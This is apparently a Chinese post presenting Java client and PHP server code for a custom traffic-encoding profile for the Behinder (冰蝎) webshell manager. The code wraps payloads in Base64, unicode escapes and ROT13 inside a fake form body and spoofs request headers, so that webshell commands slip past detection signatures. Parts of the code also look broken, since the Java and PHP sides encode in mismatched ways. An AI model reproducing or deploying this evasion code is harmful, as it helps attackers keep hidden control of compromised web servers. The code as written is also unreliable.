冰蝎4：一键修改特征，轻松打造专属传输协议！

private void initHeardersCommon(String type, Map<String, String> headers) { headers.put("Accept", this.getCurrentAccept()); headers.put("Accept-Language", "zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7"); headers.put("User-Agent", this.getCurrentUserAgent()); if (headers.get("User-Agent").toLowerCase().indexOf("firefox") >= 0) {   // empty if block } headers.put("Referer", this.getReferer());}

private void initHeardersByType(String type, Map<String, String> headers) { if (type.equals("php")) {   headers.put("Content-type", "text/html; charset=utf-8"); } else if (type.equals("aspx")) {   headers.put("Content-Type", "application/octet-stream"); } else if (type.equals("jsp")) {   headers.put("Content-type", "text/html; charset=utf-8"); }else if (type.equals("asp")){   headers.put("Content-type", "text/html; charset=utf-8"); } this.initHeardersCommon(type, headers);}

private byte[] Encrypt(byte[] data) throws Exception { String content = "id=1&content=DaYer0&token=1452178369&status=00000"; String result =java.util.Base64.getEncoder().encodeToString(data).replace("+", "<").replace("/",">"); String str = ""; StringBuffer unicode = new StringBuffer(); for (int i = 0; i < result.length(); i++) {   char c = result.charAt(i);   unicode.append("\u00" + Integer.toHexString(c)); } content = content.replace("DaYer0", unicode.toString()); // ROT13 encryption StringBuilder encryptedContent = new StringBuilder(); for (int i = 0; i < content.length(); i++) {   char c = content.charAt(i);   if (c >= 'a' && c <= 'z') {     c = (char) (((c - 'a') + 13) % 26 + 'a');   } else if (c >= 'A' && c <= 'Z') {     c = (char) (((c - 'A') + 13) % 26 + 'A');   }   encryptedContent.append(c); } return encryptedContent.toString().getBytes();} 

private byte[] Decrypt(byte[] data) throws Exception { String content = new String(data); // Reverse ROT13 decryption StringBuilder decryptedContent = new StringBuilder(); for (int i = 0; i < content.length(); i++) {   char c = content.charAt(i);   if (c >= 'a' && c <= 'z') {     c = (char) (((c - 'a') + 13) % 26 + 'a');   } else if (c >= 'A' && c <= 'Z') {     c = (char) (((c - 'A') + 13) % 26 + 'A');   }   decryptedContent.append(c); } String decodedString = decryptedContent.toString(); java.io.ByteArrayOutputStream bos = new java.io.ByteArrayOutputStream(); bos.write(decodedString.getBytes(), 13, decodedString.length() - 43); String unicode = new String(bos.toByteArray()); StringBuilder sb = new StringBuilder(); int i = -1; int pos = 0; while ((i = unicode.indexOf("\u", pos)) != -1) {   sb.append(unicode.substring(pos, i));   if (i + 5 < unicode.length()) {     pos = i + 6;     sb.append((char) Integer.parseInt(unicode.substring(i + 2, i + 6),16));   } } byte[] decryptedData =java.util.Base64.getDecoder().decode(sb.toString().replace("<", "+").replace(">","/")); return decryptedData;}

function encrypt($data) { $content = "id=1&content=DaYer0&token=1452178369&status=00000";// ROT13 encryption$encryptedContent = str_rot13($content);$result = base64_encode($data);$result = str_replace("+", "<", str_replace("/", ">", $result));$unicode = '';for ($i = 0; $i < strlen($result); $i++) { $unicode .= "\u00" . bin2hex($result[$i]);}$encryptedContent = str_replace("DaYer0", $unicode, $encryptedContent);return $encryptedContent;}

function decrypt($data) { // ROT13 decryption $decryptedContent = ''; for ($i = 0; $i < strlen($data); $i++) {   $c = $data[$i];   if ($c >= 'a' && $c <= 'z') {     $c = chr(((ord($c) - ord('a')) + 13) % 26 + ord('a'));   } else if ($c >= 'A' && $c <= 'Z') {     $c = chr(((ord($c) - ord('A')) + 13) % 26 + ord('A'));   }   $decryptedContent .= $c; }// Extract Unicode sequences$unicode = '';$pos = strpos($decryptedContent, "\u");while ($pos !== false) { $unicode .= substr($decryptedContent, $pos + 2, 4); $pos = strpos($decryptedContent, "\u", $pos + 1);}// Convert Unicode sequences to characters$decodedString = '';$unicodeChars = explode("\u", $unicode);foreach ($unicodeChars as $unicodeChar) { if (!empty($unicodeChar)) {   $decodedString .= html_entity_decode('&#x' . $unicodeChar . ';',ENT_COMPAT, 'UTF-8'); }}// Replace '<' and '>' with '+' and '/'$decodedString = str_replace("<", "+", str_replace(">", "/", $decodedString));// Base64 decoding$decryptedData = base64_decode($decodedString);return $decryptedData;}